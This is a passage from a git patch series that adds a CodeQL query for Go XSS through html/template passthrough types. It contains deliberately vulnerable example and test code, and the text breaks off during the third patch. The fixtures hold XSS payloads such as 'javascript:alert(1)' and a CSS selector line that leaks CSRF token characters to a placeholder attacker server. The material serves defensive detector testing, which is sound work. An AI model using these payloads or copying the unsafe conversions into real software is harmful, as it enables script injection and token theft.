From 49894341a86e2d86390bbc87439ef84ee5e1a084 Mon Sep 17 00:00:00 2001
From: Slavomir
Date: Wed, 3 Mar 2021 22:37:43 +0100
Subject: [PATCH 01/20] Add CWE-79: HTML template escaping passthrough
---
.../HTMLTemplateEscapingPassthrough.qhelp | 28 +++++
.../CWE-79/HTMLTemplateEscapingPassthrough.ql | 108 ++++++++++++++++++
.../HTMLTemplateEscapingPassthroughBad.go | 70 ++++++++++++
.../HTMLTemplateEscapingPassthroughGood.go | 15 +++
.../HTMLTemplateEscapingPassthrough.expected | 87 ++++++++++++++
.../CWE-79/HTMLTemplateEscapingPassthrough.go | 78 +++++++++++++
.../HTMLTemplateEscapingPassthrough.qlref | 1 +
7 files changed, 387 insertions(+)
create mode 100755 ql/src/experimental/CWE-79/HTMLTemplateEscapingPassthrough.qhelp
create mode 100755 ql/src/experimental/CWE-79/HTMLTemplateEscapingPassthrough.ql
create mode 100755 ql/src/experimental/CWE-79/HTMLTemplateEscapingPassthroughBad.go
create mode 100755 ql/src/experimental/CWE-79/HTMLTemplateEscapingPassthroughGood.go
create mode 100644 ql/test/experimental/CWE-79/HTMLTemplateEscapingPassthrough.expected
create mode 100755 ql/test/experimental/CWE-79/HTMLTemplateEscapingPassthrough.go
create mode 100755 ql/test/experimental/CWE-79/HTMLTemplateEscapingPassthrough.qlref
diff --git a/ql/src/experimental/CWE-79/HTMLTemplateEscapingPassthrough.qhelp b/ql/src/experimental/CWE-79/HTMLTemplateEscapingPassthrough.qhelp
new file mode 100755
index 00000000000..57c04ca9121
--- /dev/null
+++ b/ql/src/experimental/CWE-79/HTMLTemplateEscapingPassthrough.qhelp
@@ -0,0 +1,28 @@
+
+
+
+
+ In Go, the html/template package has a few special types
+ (HTML, HTMLAttr, JS, JSStr, CSS,
+ Srcset, URL)
+ that allow values to be rendered as-is in the template, avoiding the escaping that all the other strings go
+ through.
+
+ Using them on user-provided values will result in an XSS.
+
+
+
+ Make sure to never use those types on untrusted content.
+
+
+
+
+ In the first example you can see the special types and how they are used in a template:
+
+
+
+ To avoid XSS, all user input should be a normal string type.
+
+
+
+
\ No newline at end of file
diff --git a/ql/src/experimental/CWE-79/HTMLTemplateEscapingPassthrough.ql b/ql/src/experimental/CWE-79/HTMLTemplateEscapingPassthrough.ql
new file mode 100755
index 00000000000..e81d3a95857
--- /dev/null
+++ b/ql/src/experimental/CWE-79/HTMLTemplateEscapingPassthrough.ql
@@ -0,0 +1,108 @@
+/**
+ * @name HTML template escaping passthrough
+ * @description If a user-provided value is converted to a special type that avoids escaping when fed into a HTML
+ * template, it may result in XSS.
+ * @kind path-problem
+ * @problem.severity warning
+ * @id go/html-template-escaping-passthrough
+ * @tags security
+ * external/cwe/cwe-79
+ */
+
+import go
+import DataFlow::PathGraph
+
+private class DummySource extends UntrustedFlowSource::Range {
+ DummySource() {
+ exists(Function fn, DataFlow::CallNode call | fn.hasQualifiedName(_, "source") |
+ call = fn.getACall() and
+ this = call.getResult()
+ )
+ }
+}
+
+/**
+ * Holds if the provided src node flows into a conversion to a PassthroughType.
+ */
+predicate isConvertedToPassthroughType(
+ DataFlow::Node src, string targetType, DataFlow::PathNode conversionSink
+) {
+ exists(ConversionFlowToPassthroughTypeConf cfg, DataFlow::PathNode source |
+ cfg.hasFlowPath(source, conversionSink) and
+ source.getNode() = src and
+ targetType = cfg.getDstTypeName()
+ )
+}
+
+/**
+ * Gets the names of the types that will not be escaped when passed to
+ * a `html/template` template.
+ */
+string getAPassthroughTypeName() {
+ result = ["HTML", "HTMLAttr", "JS", "JSStr", "CSS", "Srcset", "URL"]
+}
+
+/**
+ * A taint-tracking configuration for reasoning about when an UntrustedFlowSource
+ * is converted into a special type which will not be escaped by the template generator;
+ * this allows the injection of arbitrary content (html, css, js) into the generated
+ * output of the templates.
+ */
+class ConversionFlowToPassthroughTypeConf extends TaintTracking::Configuration {
+ string dstTypeName;
+
+ ConversionFlowToPassthroughTypeConf() {
+ dstTypeName = getAPassthroughTypeName() and
+ this = "UnsafeConversion" + dstTypeName
+ }
+
+ string getDstTypeName() { result = dstTypeName }
+
+ override predicate isSource(DataFlow::Node source) { source instanceof UntrustedFlowSource }
+
+ predicate isSinkToPassthroughType(DataFlow::TypeCastNode sink, string name) {
+ exists(Type typ |
+ typ = sink.getResultType() and
+ typ.getUnderlyingType*().hasQualifiedName("html/template", name) and
+ name = getAPassthroughTypeName()
+ )
+ }
+
+ override predicate isSink(DataFlow::Node sink) { isSinkToPassthroughType(sink, dstTypeName) }
+}
+
+/**
+ * Holds if the the sink is a data value argument of a template execution call.
+ */
+predicate isSinkToTemplateExec(DataFlow::Node sink, DataFlow::CallNode call) {
+ exists(Method fn, string methodName |
+ fn.hasQualifiedName("html/template", "Template", methodName) and
+ call = fn.getACall()
+ |
+ methodName = "Execute" and sink = call.getArgument(1)
+ or
+ methodName = "ExecuteTemplate" and sink = call.getArgument(2)
+ )
+}
+
+/**
+ * A taint-tracking configuration for reasoning about when an UntrustedFlowSource
+ * flows into a template executor call.
+ */
+class TemplateExecutionFlowConf extends TaintTracking::Configuration {
+ TemplateExecutionFlowConf() { this = "TemplateExecutionFlowConf" }
+
+ override predicate isSource(DataFlow::Node source) { source instanceof UntrustedFlowSource }
+
+ override predicate isSink(DataFlow::Node sink) { isSinkToTemplateExec(sink, _) }
+}
+
+from
+ TemplateExecutionFlowConf cfg, DataFlow::PathNode source, DataFlow::PathNode sink,
+ string targetTypeName, DataFlow::PathNode conversionSink
+where
+ cfg.hasFlowPath(source, sink) and
+ isConvertedToPassthroughType(source.getNode(), targetTypeName, conversionSink)
+select sink.getNode(), source, sink,
+ "Data from an $@ will not be auto-escaped because it was $@ to template." + targetTypeName,
+ source.getNode(), "untrusted source", conversionSink.getNode(), "converted"
diff --git a/ql/src/experimental/CWE-79/HTMLTemplateEscapingPassthroughBad.go b/ql/src/experimental/CWE-79/HTMLTemplateEscapingPassthroughBad.go
new file mode 100755
index 00000000000..a23dfa153de
--- /dev/null
+++ b/ql/src/experimental/CWE-79/HTMLTemplateEscapingPassthroughBad.go
@@ -0,0 +1,70 @@
+package main
+
+import (
+ "html/template"
+ "os"
+)
+
+func main() {}
+func source(s string) string {
+ return s
+}
+
+type HTMLAlias = template.HTML
+
+func checkError(err error) {
+ if err != nil {
+ panic(err)
+ }
+}
+
+// bad is an example of a bad implementation
+func bad() {
+ tmpl, _ := template.New("test").Parse(`Hi {{.}}\n`)
+ tmplTag, _ := template.New("test").Parse(`Hi \n`)
+ tmplScript, _ := template.New("test").Parse(``)
+ tmplSrcset, _ := template.New("test").Parse(`
`)
+
+ {
+ {
+ var a = template.HTML(source(`link`))
+ checkError(tmpl.Execute(os.Stdout, a))
+ }
+ {
+ {
+ var a template.HTML
+ a = template.HTML(source(`link`))
+ checkError(tmpl.Execute(os.Stdout, a))
+ }
+ {
+ var a HTMLAlias
+ a = HTMLAlias(source(`link`))
+ checkError(tmpl.Execute(os.Stdout, a))
+ }
+ }
+ }
+ {
+ var c = template.HTMLAttr(source(`href="https://example.com"`))
+ checkError(tmplTag.Execute(os.Stdout, c))
+ }
+ {
+ var d = template.JS(source("alert({hello: 'world'})"))
+ checkError(tmplScript.Execute(os.Stdout, d))
+ }
+ {
+ var e = template.JSStr(source("setTimeout('alert()')"))
+ checkError(tmplScript.Execute(os.Stdout, e))
+ }
+ {
+ var b = template.CSS(source("input[name='csrftoken'][value^='b'] { background: url(//ATTACKER-SERVER/leak/b); } "))
+ checkError(tmpl.Execute(os.Stdout, b))
+ }
+ {
+ var f = template.Srcset(source(`evil.jpg 320w`))
+ checkError(tmplSrcset.Execute(os.Stdout, f))
+ }
+ {
+ var g = template.URL(source("javascript:alert(1)"))
+ checkError(tmpl.Execute(os.Stdout, g))
+ }
+}
diff --git a/ql/src/experimental/CWE-79/HTMLTemplateEscapingPassthroughGood.go b/ql/src/experimental/CWE-79/HTMLTemplateEscapingPassthroughGood.go
new file mode 100755
index 00000000000..5af85e824aa
--- /dev/null
+++ b/ql/src/experimental/CWE-79/HTMLTemplateEscapingPassthroughGood.go
@@ -0,0 +1,15 @@
+package main
+
+import (
+ "html/template"
+ "os"
+)
+
+// good is an example of a good implementation
+func good() {
+ tmpl, _ := template.New("test").Parse(`Hello, {{.}}\n`)
+ { // This will be escaped:
+ var caught = source(`link`)
+ checkError(tmpl.Execute(os.Stdout, caught))
+ }
+}
diff --git a/ql/test/experimental/CWE-79/HTMLTemplateEscapingPassthrough.expected b/ql/test/experimental/CWE-79/HTMLTemplateEscapingPassthrough.expected
new file mode 100644
index 00000000000..c5be772eb49
--- /dev/null
+++ b/ql/test/experimental/CWE-79/HTMLTemplateEscapingPassthrough.expected
@@ -0,0 +1,87 @@
+edges
+| HTMLTemplateEscapingPassthrough.go:29:12:29:66 | type conversion : string | HTMLTemplateEscapingPassthrough.go:30:39:30:39 | a |
+| HTMLTemplateEscapingPassthrough.go:29:26:29:65 | call to source : string | HTMLTemplateEscapingPassthrough.go:29:12:29:66 | type conversion |
+| HTMLTemplateEscapingPassthrough.go:29:26:29:65 | call to source : string | HTMLTemplateEscapingPassthrough.go:29:12:29:66 | type conversion : string |
+| HTMLTemplateEscapingPassthrough.go:35:9:35:63 | type conversion : string | HTMLTemplateEscapingPassthrough.go:36:40:36:40 | a |
+| HTMLTemplateEscapingPassthrough.go:35:23:35:62 | call to source : string | HTMLTemplateEscapingPassthrough.go:35:9:35:63 | type conversion |
+| HTMLTemplateEscapingPassthrough.go:35:23:35:62 | call to source : string | HTMLTemplateEscapingPassthrough.go:35:9:35:63 | type conversion : string |
+| HTMLTemplateEscapingPassthrough.go:40:9:40:59 | type conversion : string | HTMLTemplateEscapingPassthrough.go:41:40:41:40 | a |
+| HTMLTemplateEscapingPassthrough.go:40:19:40:58 | call to source : string | HTMLTemplateEscapingPassthrough.go:40:9:40:59 | type conversion |
+| HTMLTemplateEscapingPassthrough.go:40:19:40:58 | call to source : string | HTMLTemplateEscapingPassthrough.go:40:9:40:59 | type conversion : string |
+| HTMLTemplateEscapingPassthrough.go:46:11:46:65 | type conversion : string | HTMLTemplateEscapingPassthrough.go:47:41:47:41 | c |
+| HTMLTemplateEscapingPassthrough.go:46:29:46:64 | call to source : string | HTMLTemplateEscapingPassthrough.go:46:11:46:65 | type conversion |
+| HTMLTemplateEscapingPassthrough.go:46:29:46:64 | call to source : string | HTMLTemplateEscapingPassthrough.go:46:11:46:65 | type conversion : string |
+| HTMLTemplateEscapingPassthrough.go:50:11:50:56 | type conversion : string | HTMLTemplateEscapingPassthrough.go:51:44:51:44 | d |
+| HTMLTemplateEscapingPassthrough.go:50:23:50:55 | call to source : string | HTMLTemplateEscapingPassthrough.go:50:11:50:56 | type conversion |
+| HTMLTemplateEscapingPassthrough.go:50:23:50:55 | call to source : string | HTMLTemplateEscapingPassthrough.go:50:11:50:56 | type conversion : string |
+| HTMLTemplateEscapingPassthrough.go:54:11:54:57 | type conversion : string | HTMLTemplateEscapingPassthrough.go:55:44:55:44 | e |
+| HTMLTemplateEscapingPassthrough.go:54:26:54:56 | call to source : string | HTMLTemplateEscapingPassthrough.go:54:11:54:57 | type conversion |
+| HTMLTemplateEscapingPassthrough.go:54:26:54:56 | call to source : string | HTMLTemplateEscapingPassthrough.go:54:11:54:57 | type conversion : string |
+| HTMLTemplateEscapingPassthrough.go:58:11:58:117 | type conversion : string | HTMLTemplateEscapingPassthrough.go:59:38:59:38 | b |
+| HTMLTemplateEscapingPassthrough.go:58:24:58:116 | call to source : string | HTMLTemplateEscapingPassthrough.go:58:11:58:117 | type conversion |
+| HTMLTemplateEscapingPassthrough.go:58:24:58:116 | call to source : string | HTMLTemplateEscapingPassthrough.go:58:11:58:117 | type conversion : string |
+| HTMLTemplateEscapingPassthrough.go:62:11:62:50 | type conversion : string | HTMLTemplateEscapingPassthrough.go:63:44:63:44 | f |
+| HTMLTemplateEscapingPassthrough.go:62:27:62:49 | call to source : string | HTMLTemplateEscapingPassthrough.go:62:11:62:50 | type conversion |
+| HTMLTemplateEscapingPassthrough.go:62:27:62:49 | call to source : string | HTMLTemplateEscapingPassthrough.go:62:11:62:50 | type conversion : string |
+| HTMLTemplateEscapingPassthrough.go:66:11:66:53 | type conversion : string | HTMLTemplateEscapingPassthrough.go:67:38:67:38 | g |
+| HTMLTemplateEscapingPassthrough.go:66:24:66:52 | call to source : string | HTMLTemplateEscapingPassthrough.go:66:11:66:53 | type conversion |
+| HTMLTemplateEscapingPassthrough.go:66:24:66:52 | call to source : string | HTMLTemplateEscapingPassthrough.go:66:11:66:53 | type conversion : string |
+| HTMLTemplateEscapingPassthrough.go:75:16:75:55 | call to source : string | HTMLTemplateEscapingPassthrough.go:76:38:76:43 | caught |
+nodes
+| HTMLTemplateEscapingPassthrough.go:29:12:29:66 | type conversion | semmle.label | type conversion |
+| HTMLTemplateEscapingPassthrough.go:29:12:29:66 | type conversion : string | semmle.label | type conversion : string |
+| HTMLTemplateEscapingPassthrough.go:29:26:29:65 | call to source : string | semmle.label | call to source : string |
+| HTMLTemplateEscapingPassthrough.go:29:26:29:65 | call to source : string | semmle.label | call to source : string |
+| HTMLTemplateEscapingPassthrough.go:30:39:30:39 | a | semmle.label | a |
+| HTMLTemplateEscapingPassthrough.go:35:9:35:63 | type conversion | semmle.label | type conversion |
+| HTMLTemplateEscapingPassthrough.go:35:9:35:63 | type conversion : string | semmle.label | type conversion : string |
+| HTMLTemplateEscapingPassthrough.go:35:23:35:62 | call to source : string | semmle.label | call to source : string |
+| HTMLTemplateEscapingPassthrough.go:35:23:35:62 | call to source : string | semmle.label | call to source : string |
+| HTMLTemplateEscapingPassthrough.go:36:40:36:40 | a | semmle.label | a |
+| HTMLTemplateEscapingPassthrough.go:40:9:40:59 | type conversion | semmle.label | type conversion |
+| HTMLTemplateEscapingPassthrough.go:40:9:40:59 | type conversion : string | semmle.label | type conversion : string |
+| HTMLTemplateEscapingPassthrough.go:40:19:40:58 | call to source : string | semmle.label | call to source : string |
+| HTMLTemplateEscapingPassthrough.go:40:19:40:58 | call to source : string | semmle.label | call to source : string |
+| HTMLTemplateEscapingPassthrough.go:41:40:41:40 | a | semmle.label | a |
+| HTMLTemplateEscapingPassthrough.go:46:11:46:65 | type conversion | semmle.label | type conversion |
+| HTMLTemplateEscapingPassthrough.go:46:11:46:65 | type conversion : string | semmle.label | type conversion : string |
+| HTMLTemplateEscapingPassthrough.go:46:29:46:64 | call to source : string | semmle.label | call to source : string |
+| HTMLTemplateEscapingPassthrough.go:46:29:46:64 | call to source : string | semmle.label | call to source : string |
+| HTMLTemplateEscapingPassthrough.go:47:41:47:41 | c | semmle.label | c |
+| HTMLTemplateEscapingPassthrough.go:50:11:50:56 | type conversion | semmle.label | type conversion |
+| HTMLTemplateEscapingPassthrough.go:50:11:50:56 | type conversion : string | semmle.label | type conversion : string |
+| HTMLTemplateEscapingPassthrough.go:50:23:50:55 | call to source : string | semmle.label | call to source : string |
+| HTMLTemplateEscapingPassthrough.go:50:23:50:55 | call to source : string | semmle.label | call to source : string |
+| HTMLTemplateEscapingPassthrough.go:51:44:51:44 | d | semmle.label | d |
+| HTMLTemplateEscapingPassthrough.go:54:11:54:57 | type conversion | semmle.label | type conversion |
+| HTMLTemplateEscapingPassthrough.go:54:11:54:57 | type conversion : string | semmle.label | type conversion : string |
+| HTMLTemplateEscapingPassthrough.go:54:26:54:56 | call to source : string | semmle.label | call to source : string |
+| HTMLTemplateEscapingPassthrough.go:54:26:54:56 | call to source : string | semmle.label | call to source : string |
+| HTMLTemplateEscapingPassthrough.go:55:44:55:44 | e | semmle.label | e |
+| HTMLTemplateEscapingPassthrough.go:58:11:58:117 | type conversion | semmle.label | type conversion |
+| HTMLTemplateEscapingPassthrough.go:58:11:58:117 | type conversion : string | semmle.label | type conversion : string |
+| HTMLTemplateEscapingPassthrough.go:58:24:58:116 | call to source : string | semmle.label | call to source : string |
+| HTMLTemplateEscapingPassthrough.go:58:24:58:116 | call to source : string | semmle.label | call to source : string |
+| HTMLTemplateEscapingPassthrough.go:59:38:59:38 | b | semmle.label | b |
+| HTMLTemplateEscapingPassthrough.go:62:11:62:50 | type conversion | semmle.label | type conversion |
+| HTMLTemplateEscapingPassthrough.go:62:11:62:50 | type conversion : string | semmle.label | type conversion : string |
+| HTMLTemplateEscapingPassthrough.go:62:27:62:49 | call to source : string | semmle.label | call to source : string |
+| HTMLTemplateEscapingPassthrough.go:62:27:62:49 | call to source : string | semmle.label | call to source : string |
+| HTMLTemplateEscapingPassthrough.go:63:44:63:44 | f | semmle.label | f |
+| HTMLTemplateEscapingPassthrough.go:66:11:66:53 | type conversion | semmle.label | type conversion |
+| HTMLTemplateEscapingPassthrough.go:66:11:66:53 | type conversion : string | semmle.label | type conversion : string |
+| HTMLTemplateEscapingPassthrough.go:66:24:66:52 | call to source : string | semmle.label | call to source : string |
+| HTMLTemplateEscapingPassthrough.go:66:24:66:52 | call to source : string | semmle.label | call to source : string |
+| HTMLTemplateEscapingPassthrough.go:67:38:67:38 | g | semmle.label | g |
+| HTMLTemplateEscapingPassthrough.go:75:16:75:55 | call to source : string | semmle.label | call to source : string |
+| HTMLTemplateEscapingPassthrough.go:76:38:76:43 | caught | semmle.label | caught |
+#select
+| HTMLTemplateEscapingPassthrough.go:30:39:30:39 | a | HTMLTemplateEscapingPassthrough.go:29:26:29:65 | call to source : string | HTMLTemplateEscapingPassthrough.go:30:39:30:39 | a | Data from an $@ will not be auto-escaped because it was $@ to template.HTML | HTMLTemplateEscapingPassthrough.go:29:26:29:65 | call to source | untrusted source | HTMLTemplateEscapingPassthrough.go:29:12:29:66 | type conversion | converted |
+| HTMLTemplateEscapingPassthrough.go:36:40:36:40 | a | HTMLTemplateEscapingPassthrough.go:35:23:35:62 | call to source : string | HTMLTemplateEscapingPassthrough.go:36:40:36:40 | a | Data from an $@ will not be auto-escaped because it was $@ to template.HTML | HTMLTemplateEscapingPassthrough.go:35:23:35:62 | call to source | untrusted source | HTMLTemplateEscapingPassthrough.go:35:9:35:63 | type conversion | converted |
+| HTMLTemplateEscapingPassthrough.go:41:40:41:40 | a | HTMLTemplateEscapingPassthrough.go:40:19:40:58 | call to source : string | HTMLTemplateEscapingPassthrough.go:41:40:41:40 | a | Data from an $@ will not be auto-escaped because it was $@ to template.HTML | HTMLTemplateEscapingPassthrough.go:40:19:40:58 | call to source | untrusted source | HTMLTemplateEscapingPassthrough.go:40:9:40:59 | type conversion | converted |
+| HTMLTemplateEscapingPassthrough.go:47:41:47:41 | c | HTMLTemplateEscapingPassthrough.go:46:29:46:64 | call to source : string | HTMLTemplateEscapingPassthrough.go:47:41:47:41 | c | Data from an $@ will not be auto-escaped because it was $@ to template.HTMLAttr | HTMLTemplateEscapingPassthrough.go:46:29:46:64 | call to source | untrusted source | HTMLTemplateEscapingPassthrough.go:46:11:46:65 | type conversion | converted |
+| HTMLTemplateEscapingPassthrough.go:51:44:51:44 | d | HTMLTemplateEscapingPassthrough.go:50:23:50:55 | call to source : string | HTMLTemplateEscapingPassthrough.go:51:44:51:44 | d | Data from an $@ will not be auto-escaped because it was $@ to template.JS | HTMLTemplateEscapingPassthrough.go:50:23:50:55 | call to source | untrusted source | HTMLTemplateEscapingPassthrough.go:50:11:50:56 | type conversion | converted |
+| HTMLTemplateEscapingPassthrough.go:55:44:55:44 | e | HTMLTemplateEscapingPassthrough.go:54:26:54:56 | call to source : string | HTMLTemplateEscapingPassthrough.go:55:44:55:44 | e | Data from an $@ will not be auto-escaped because it was $@ to template.JSStr | HTMLTemplateEscapingPassthrough.go:54:26:54:56 | call to source | untrusted source | HTMLTemplateEscapingPassthrough.go:54:11:54:57 | type conversion | converted |
+| HTMLTemplateEscapingPassthrough.go:59:38:59:38 | b | HTMLTemplateEscapingPassthrough.go:58:24:58:116 | call to source : string | HTMLTemplateEscapingPassthrough.go:59:38:59:38 | b | Data from an $@ will not be auto-escaped because it was $@ to template.CSS | HTMLTemplateEscapingPassthrough.go:58:24:58:116 | call to source | untrusted source | HTMLTemplateEscapingPassthrough.go:58:11:58:117 | type conversion | converted |
+| HTMLTemplateEscapingPassthrough.go:63:44:63:44 | f | HTMLTemplateEscapingPassthrough.go:62:27:62:49 | call to source : string | HTMLTemplateEscapingPassthrough.go:63:44:63:44 | f | Data from an $@ will not be auto-escaped because it was $@ to template.Srcset | HTMLTemplateEscapingPassthrough.go:62:27:62:49 | call to source | untrusted source | HTMLTemplateEscapingPassthrough.go:62:11:62:50 | type conversion | converted |
+| HTMLTemplateEscapingPassthrough.go:67:38:67:38 | g | HTMLTemplateEscapingPassthrough.go:66:24:66:52 | call to source : string | HTMLTemplateEscapingPassthrough.go:67:38:67:38 | g | Data from an $@ will not be auto-escaped because it was $@ to template.URL | HTMLTemplateEscapingPassthrough.go:66:24:66:52 | call to source | untrusted source | HTMLTemplateEscapingPassthrough.go:66:11:66:53 | type conversion | converted |
diff --git a/ql/test/experimental/CWE-79/HTMLTemplateEscapingPassthrough.go b/ql/test/experimental/CWE-79/HTMLTemplateEscapingPassthrough.go
new file mode 100755
index 00000000000..3ae62c166ea
--- /dev/null
+++ b/ql/test/experimental/CWE-79/HTMLTemplateEscapingPassthrough.go
@@ -0,0 +1,78 @@
+package main
+
+import (
+ "html/template"
+ "os"
+)
+
+func main() {}
+func source(s string) string {
+ return s
+}
+func checkError(err error) {
+ if err != nil {
+ panic(err)
+ }
+}
+
+type HTMLAlias = template.HTML
+
+// bad is an example of a bad implementation
+func bad() {
+ tmpl, _ := template.New("test").Parse(`Hi {{.}}\n`)
+ tmplTag, _ := template.New("test").Parse(`Hi \n`)
+ tmplScript, _ := template.New("test").Parse(``)
+ tmplSrcset, _ := template.New("test").Parse(`
`)
+
+ {
+ {
+ var a = template.HTML(source(`link`))
+ checkError(tmpl.Execute(os.Stdout, a))
+ }
+ {
+ {
+ var a template.HTML
+ a = template.HTML(source(`link`))
+ checkError(tmpl.Execute(os.Stdout, a))
+ }
+ {
+ var a HTMLAlias
+ a = HTMLAlias(source(`link`))
+ checkError(tmpl.Execute(os.Stdout, a))
+ }
+ }
+ }
+ {
+ var c = template.HTMLAttr(source(`href="https://example.com"`))
+ checkError(tmplTag.Execute(os.Stdout, c))
+ }
+ {
+ var d = template.JS(source("alert({hello: 'world'})"))
+ checkError(tmplScript.Execute(os.Stdout, d))
+ }
+ {
+ var e = template.JSStr(source("setTimeout('alert()')"))
+ checkError(tmplScript.Execute(os.Stdout, e))
+ }
+ {
+ var b = template.CSS(source("input[name='csrftoken'][value^='b'] { background: url(//ATTACKER-SERVER/leak/b); } "))
+ checkError(tmpl.Execute(os.Stdout, b))
+ }
+ {
+ var f = template.Srcset(source(`evil.jpg 320w`))
+ checkError(tmplSrcset.Execute(os.Stdout, f))
+ }
+ {
+ var g = template.URL(source("javascript:alert(1)"))
+ checkError(tmpl.Execute(os.Stdout, g))
+ }
+}
+
+// good is an example of a good implementation
+func good() {
+ tmpl, _ := template.New("test").Parse(`Hello, {{.}}\n`)
+ { // This will be escaped:
+ var caught = source(`link`)
+ checkError(tmpl.Execute(os.Stdout, caught))
+ }
+}
diff --git a/ql/test/experimental/CWE-79/HTMLTemplateEscapingPassthrough.qlref b/ql/test/experimental/CWE-79/HTMLTemplateEscapingPassthrough.qlref
new file mode 100755
index 00000000000..2c92896e3ee
--- /dev/null
+++ b/ql/test/experimental/CWE-79/HTMLTemplateEscapingPassthrough.qlref
@@ -0,0 +1 @@
+experimental/CWE-79/HTMLTemplateEscapingPassthrough.ql
From 63d51205c99e1710082fa90ec96e28088b0b5bd7 Mon Sep 17 00:00:00 2001
From: Slavomir
Date: Fri, 5 Mar 2021 00:43:25 +0100
Subject: [PATCH 02/20] Apply suggestions from code review
Co-authored-by: Sauyon Lee
---
.../experimental/CWE-79/HTMLTemplateEscapingPassthrough.qhelp | 4 ++--
1 file changed, 2 insertions(+), 2 deletions(-)
diff --git a/ql/src/experimental/CWE-79/HTMLTemplateEscapingPassthrough.qhelp b/ql/src/experimental/CWE-79/HTMLTemplateEscapingPassthrough.qhelp
index 57c04ca9121..ec406bdc198 100755
--- a/ql/src/experimental/CWE-79/HTMLTemplateEscapingPassthrough.qhelp
+++ b/ql/src/experimental/CWE-79/HTMLTemplateEscapingPassthrough.qhelp
@@ -4,7 +4,7 @@
In Go, the html/template package has a few special types
(HTML, HTMLAttr, JS, JSStr, CSS,
- Srcset, URL)
+ Srcset, and URL)
that allow values to be rendered as-is in the template, avoiding the escaping that all the other strings go
through.
@@ -25,4 +25,4 @@
-
\ No newline at end of file
+
From ad91e4abcb1c8ad263c2c21db57416cecb3ca513 Mon Sep 17 00:00:00 2001
From: Slavomir
Date: Fri, 5 Mar 2021 00:55:16 +0100
Subject: [PATCH 03/20] Remove DummySource
---
.../CWE-79/HTMLTemplateEscapingPassthrough.ql | 9 -
.../HTMLTemplateEscapingPassthrough.expected | 168 +++++++++---------
.../CWE-79/HTMLTemplateEscapingPassthrough.go | 29 ++-
3 files changed, 98 insertions(+), 108 deletions(-)
diff --git a/ql/src/experimental/CWE-79/HTMLTemplateEscapingPassthrough.ql b/ql/src/experimental/CWE-79/HTMLTemplateEscapingPassthrough.ql
index e81d3a95857..a48ddaf1507 100755
--- a/ql/src/experimental/CWE-79/HTMLTemplateEscapingPassthrough.ql
+++ b/ql/src/experimental/CWE-79/HTMLTemplateEscapingPassthrough.ql
@@ -12,15 +12,6 @@
import go
import DataFlow::PathGraph
-private class DummySource extends UntrustedFlowSource::Range {
- DummySource() {
- exists(Function fn, DataFlow::CallNode call | fn.hasQualifiedName(_, "source") |
- call = fn.getACall() and
- this = call.getResult()
- )
- }
-}
-
/**
* Holds if the provided src node flows into a conversion to a PassthroughType.
*/
diff --git a/ql/test/experimental/CWE-79/HTMLTemplateEscapingPassthrough.expected b/ql/test/experimental/CWE-79/HTMLTemplateEscapingPassthrough.expected
index c5be772eb49..5a0447e6fd4 100644
--- a/ql/test/experimental/CWE-79/HTMLTemplateEscapingPassthrough.expected
+++ b/ql/test/experimental/CWE-79/HTMLTemplateEscapingPassthrough.expected
@@ -1,87 +1,87 @@
edges
-| HTMLTemplateEscapingPassthrough.go:29:12:29:66 | type conversion : string | HTMLTemplateEscapingPassthrough.go:30:39:30:39 | a |
-| HTMLTemplateEscapingPassthrough.go:29:26:29:65 | call to source : string | HTMLTemplateEscapingPassthrough.go:29:12:29:66 | type conversion |
-| HTMLTemplateEscapingPassthrough.go:29:26:29:65 | call to source : string | HTMLTemplateEscapingPassthrough.go:29:12:29:66 | type conversion : string |
-| HTMLTemplateEscapingPassthrough.go:35:9:35:63 | type conversion : string | HTMLTemplateEscapingPassthrough.go:36:40:36:40 | a |
-| HTMLTemplateEscapingPassthrough.go:35:23:35:62 | call to source : string | HTMLTemplateEscapingPassthrough.go:35:9:35:63 | type conversion |
-| HTMLTemplateEscapingPassthrough.go:35:23:35:62 | call to source : string | HTMLTemplateEscapingPassthrough.go:35:9:35:63 | type conversion : string |
-| HTMLTemplateEscapingPassthrough.go:40:9:40:59 | type conversion : string | HTMLTemplateEscapingPassthrough.go:41:40:41:40 | a |
-| HTMLTemplateEscapingPassthrough.go:40:19:40:58 | call to source : string | HTMLTemplateEscapingPassthrough.go:40:9:40:59 | type conversion |
-| HTMLTemplateEscapingPassthrough.go:40:19:40:58 | call to source : string | HTMLTemplateEscapingPassthrough.go:40:9:40:59 | type conversion : string |
-| HTMLTemplateEscapingPassthrough.go:46:11:46:65 | type conversion : string | HTMLTemplateEscapingPassthrough.go:47:41:47:41 | c |
-| HTMLTemplateEscapingPassthrough.go:46:29:46:64 | call to source : string | HTMLTemplateEscapingPassthrough.go:46:11:46:65 | type conversion |
-| HTMLTemplateEscapingPassthrough.go:46:29:46:64 | call to source : string | HTMLTemplateEscapingPassthrough.go:46:11:46:65 | type conversion : string |
-| HTMLTemplateEscapingPassthrough.go:50:11:50:56 | type conversion : string | HTMLTemplateEscapingPassthrough.go:51:44:51:44 | d |
-| HTMLTemplateEscapingPassthrough.go:50:23:50:55 | call to source : string | HTMLTemplateEscapingPassthrough.go:50:11:50:56 | type conversion |
-| HTMLTemplateEscapingPassthrough.go:50:23:50:55 | call to source : string | HTMLTemplateEscapingPassthrough.go:50:11:50:56 | type conversion : string |
-| HTMLTemplateEscapingPassthrough.go:54:11:54:57 | type conversion : string | HTMLTemplateEscapingPassthrough.go:55:44:55:44 | e |
-| HTMLTemplateEscapingPassthrough.go:54:26:54:56 | call to source : string | HTMLTemplateEscapingPassthrough.go:54:11:54:57 | type conversion |
-| HTMLTemplateEscapingPassthrough.go:54:26:54:56 | call to source : string | HTMLTemplateEscapingPassthrough.go:54:11:54:57 | type conversion : string |
-| HTMLTemplateEscapingPassthrough.go:58:11:58:117 | type conversion : string | HTMLTemplateEscapingPassthrough.go:59:38:59:38 | b |
-| HTMLTemplateEscapingPassthrough.go:58:24:58:116 | call to source : string | HTMLTemplateEscapingPassthrough.go:58:11:58:117 | type conversion |
-| HTMLTemplateEscapingPassthrough.go:58:24:58:116 | call to source : string | HTMLTemplateEscapingPassthrough.go:58:11:58:117 | type conversion : string |
-| HTMLTemplateEscapingPassthrough.go:62:11:62:50 | type conversion : string | HTMLTemplateEscapingPassthrough.go:63:44:63:44 | f |
-| HTMLTemplateEscapingPassthrough.go:62:27:62:49 | call to source : string | HTMLTemplateEscapingPassthrough.go:62:11:62:50 | type conversion |
-| HTMLTemplateEscapingPassthrough.go:62:27:62:49 | call to source : string | HTMLTemplateEscapingPassthrough.go:62:11:62:50 | type conversion : string |
-| HTMLTemplateEscapingPassthrough.go:66:11:66:53 | type conversion : string | HTMLTemplateEscapingPassthrough.go:67:38:67:38 | g |
